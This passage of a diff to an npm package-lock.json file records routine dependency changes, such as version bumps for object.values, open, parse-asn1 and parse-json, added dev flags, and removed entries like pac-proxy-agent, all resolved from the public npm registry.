"https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.4.tgz", + "integrity": "sha512-EsFBshs5RUUpQEY1D4q/m59kMfz4YJvxuNCJcv/jWwOJr34EaVnG11ZrZa0UHB3wnzV1wx8m58T4hQL8IuNXlQ==", "dev": true, "requires": { + "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0-next.1", - "function-bind": "^1.1.1", + "es-abstract": "^1.18.0-next.2", "has": "^1.0.3" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "object.getownpropertydescriptors": { @@ -12264,15 +16191,101 @@ } }, "object.values": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.1.tgz", - "integrity": "sha512-WTa54g2K8iu0kmS/us18jEmdv1a4Wi//BZ/DTVYEcH0XhLM5NYdpDHja3gt57VrZLcNAO2WGA+KpWsDBaHt6eA==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.3.tgz", + "integrity": "sha512-nkF6PfDB9alkOUxpf1HNm/QlkeW3SReqL5WXeBLpEJJnlPSvRaDQpW3gQTksTN3fgJX4hL42RzKyOin6ff3tyw==", "dev": true, "requires": { + "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0-next.1", - "function-bind": "^1.1.1", + "es-abstract": "^1.18.0-next.2", "has": "^1.0.3" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "obuf": { @@ -12300,6 +16313,7 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, "requires": { "wrappy": "1" } @@ -12314,9 +16328,10 @@ } }, "open": { - "version": "7.2.1", - "resolved": "https://registry.npmjs.org/open/-/open-7.2.1.tgz", - "integrity": "sha512-xbYCJib4spUdmcs0g/2mK1nKo/jO2T7INClWd/beL7PFkXRWgr8B23ssDHX/USPn2M2IjDR5UdpYs6I67SnTSA==", + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/open/-/open-7.4.2.tgz", + "integrity": "sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==", + "dev": true, "requires": { "is-docker": "^2.0.0", "is-wsl": "^2.1.1" @@ -12326,6 +16341,7 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, "requires": { "is-docker": "^2.0.0" } @@ -12345,6 +16361,7 @@ "version": "0.8.3", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dev": true, "requires": { "deep-is": "~0.1.3", "fast-levenshtein": "~2.0.6", @@ -12354,6 +16371,88 @@ "word-wrap": "~1.2.3" } }, + "ora": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/ora/-/ora-5.3.0.tgz", + "integrity": "sha512-zAKMgGXUim0Jyd6CXK9lraBnD3H5yPGBPPOkC23a2BG6hsm4Zu6OQSjQuEtV0BHDf4aKHcUFvJiGRrFuW3MG8g==", + "dev": true, + "requires": { + "bl": "^4.0.3", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.5.0", + "is-interactive": "^1.0.0", + "log-symbols": "^4.0.0", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, "original": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz", @@ -12375,21 +16474,11 @@ "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", "dev": true }, - "os-locale": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.1.0.tgz", - "integrity": "sha512-Z8l3R4wYWM40/52Z+S265okfFj8Kt2cC2MKY+xNi3kFs+XGI7WXu/I309QQQYbRW4ijiZ+yxs9pqEhJh0DqW3Q==", - "dev": true, - "requires": { - "execa": "^1.0.0", - "lcid": "^2.0.0", - "mem": "^4.0.0" - } - }, "os-name": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/os-name/-/os-name-3.1.0.tgz", "integrity": "sha512-h8L+8aNjNcMpo/mAIBPn5PXCM16iyPGjHNWo6U1YO8sJTMHtEtyczI6QJnLoplswm6goopQkqc7OAnjhWcugVg==", + "dev": true, "requires": { "macos-release": "^2.2.0", "windows-release": "^3.1.0" @@ -12398,7 +16487,8 @@ "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", + "dev": true }, "osenv": { "version": "0.1.5", @@ -12411,31 +16501,22 @@ } }, "p-cancelable": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.0.0.tgz", - "integrity": "sha512-wvPXDmbMmu2ksjkB4Z3nZWTSkJEb9lqVdMaCKpZUGJG9TMiNp9XcbG3fn9fPKjem04fJMJnXoyFPk2FmgiaiNg==" - }, - "p-defer": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz", - "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.0.tgz", + "integrity": "sha512-HAZyB3ZodPo+BDpb4/Iu7Jv4P6cSazBz9ZM0ChhEXp70scx834aWCEjQRwgt41UzzejUAPdbqqONfRWTPYrPAQ==", "dev": true }, "p-finally": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" - }, - "p-is-promise": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-2.1.0.tgz", - "integrity": "sha512-Y3W0wlRPK8ZMRbNq97l4M5otioeA5lm1z7bkNkxCka8HSPjR0xRWmpCmc9utiaLP9Jb1eD8BgeIxTW4AIF45Pg==", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", "dev": true }, "p-limit": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, "requires": { "p-try": "^2.0.0" } @@ -12452,7 +16533,8 @@ "p-map": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz", - "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==" + "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==", + "dev": true }, "p-retry": { "version": "3.0.1", @@ -12466,54 +16548,14 @@ "p-try": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==" - }, - "pac-proxy-agent": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-3.0.1.tgz", - "integrity": "sha512-44DUg21G/liUZ48dJpUSjZnFfZro/0K5JTyFYLBcmh9+T6Ooi4/i4efwUiEy0+4oQusCBqWdhv16XohIj1GqnQ==", - "requires": { - "agent-base": "^4.2.0", - "debug": "^4.1.1", - "get-uri": "^2.0.0", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^3.0.0", - "pac-resolver": "^3.0.0", - "raw-body": "^2.2.0", - "socks-proxy-agent": "^4.0.1" - }, - "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "requires": { - "ms": "^2.1.1" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - } - } - }, - "pac-resolver": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-3.0.0.tgz", - "integrity": "sha512-tcc38bsjuE3XZ5+4vP96OfhOugrX+JcnpUbhfuc4LuXBLQhoTthOstZeoQJBDnQUDYzYmdImKsbz0xSl1/9qeA==", - "requires": { - "co": "^4.6.0", - "degenerator": "^1.0.4", - "ip": "^1.1.5", - "netmask": "^1.0.6", - "thunkify": "^2.1.2" - } + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true }, "package-json": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz", "integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==", + "dev": true, "requires": { "got": "^9.6.0", "registry-auth-token": "^4.0.0", @@ -12524,12 +16566,14 @@ "@sindresorhus/is": { "version": "0.14.0", "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", - "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==" + "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==", + "dev": true }, "@szmarczak/http-timer": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", + "dev": true, "requires": { "defer-to-connect": "^1.0.1" } @@ -12538,6 +16582,7 @@ "version": "6.1.0", "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", + "dev": true, "requires": { "clone-response": "^1.0.2", "get-stream": "^5.1.0", @@ -12552,6 +16597,7 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, "requires": { "pump": "^3.0.0" } @@ -12559,7 +16605,8 @@ "lowercase-keys": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "dev": true } } }, @@ -12567,6 +16614,7 @@ "version": "3.3.0", "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "dev": true, "requires": { "mimic-response": "^1.0.0" } @@ -12574,12 +16622,14 @@ "defer-to-connect": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", - "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==" + "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==", + "dev": true }, "got": { "version": "9.6.0", "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", + "dev": true, "requires": { "@sindresorhus/is": "^0.14.0", "@szmarczak/http-timer": "^1.1.2", @@ -12597,12 +16647,14 @@ "json-buffer": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", - "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" + "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=", + "dev": true }, "keyv": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz", "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==", + "dev": true, "requires": { "json-buffer": "3.0.0" } @@ -12610,17 +16662,20 @@ "lowercase-keys": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", - "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", + "dev": true }, "p-cancelable": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", - "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==" + "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==", + "dev": true }, "responselike": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", + "dev": true, "requires": { "lowercase-keys": "^1.0.0" } @@ -12628,14 +16683,16 @@ "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, "pako": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", - "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==" + "version": "0.2.9", + "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz", + "integrity": "sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU=", + "dev": true }, "parallel-transform": { "version": "1.2.0", @@ -12666,14 +16723,13 @@ } }, "parse-asn1": { - "version": "5.1.5", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.5.tgz", - "integrity": "sha512-jkMYn1dcJqF6d5CpU689bq7w/b5ALS9ROVSpQDPrZsqqesUJii9qutvoT5ltGedNXMO2e16YUWIghG9KxaViTQ==", + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.6.tgz", + "integrity": "sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==", "dev": true, "requires": { - "asn1.js": "^4.0.0", + "asn1.js": "^5.2.0", "browserify-aes": "^1.0.0", - "create-hash": "^1.1.0", "evp_bytestokey": "^1.0.0", "pbkdf2": "^3.0.3", "safe-buffer": "^5.1.1" @@ -12694,13 +16750,13 @@ } }, "parse-json": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.0.0.tgz", - "integrity": "sha512-OOY5b7PAEFV0E2Fir1KOkxchnZNCdowAJgQ5NuxjpBKTRP3pQhwkrkxqQjeoKJ+fO7bCpmIZaogI4eZGDMEGOw==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", "requires": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", - "json-parse-better-errors": "^1.0.1", + "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" } }, @@ -12708,6 +16764,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/parse-link-header/-/parse-link-header-1.0.1.tgz", "integrity": "sha1-vt/g0hGK64S+deewJUGeyKYRQKc=", + "dev": true, "requires": { "xtend": "~4.0.1" } @@ -12754,7 +16811,8 @@ "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "dev": true }, "path-is-inside": { "version": "1.0.2", @@ -12765,7 +16823,8 @@ "path-key": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", - "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=" + "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", + "dev": true }, "path-parse": { "version": "1.0.6", @@ -12795,12 +16854,13 @@ "pathseg": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/pathseg/-/pathseg-1.2.0.tgz", - "integrity": 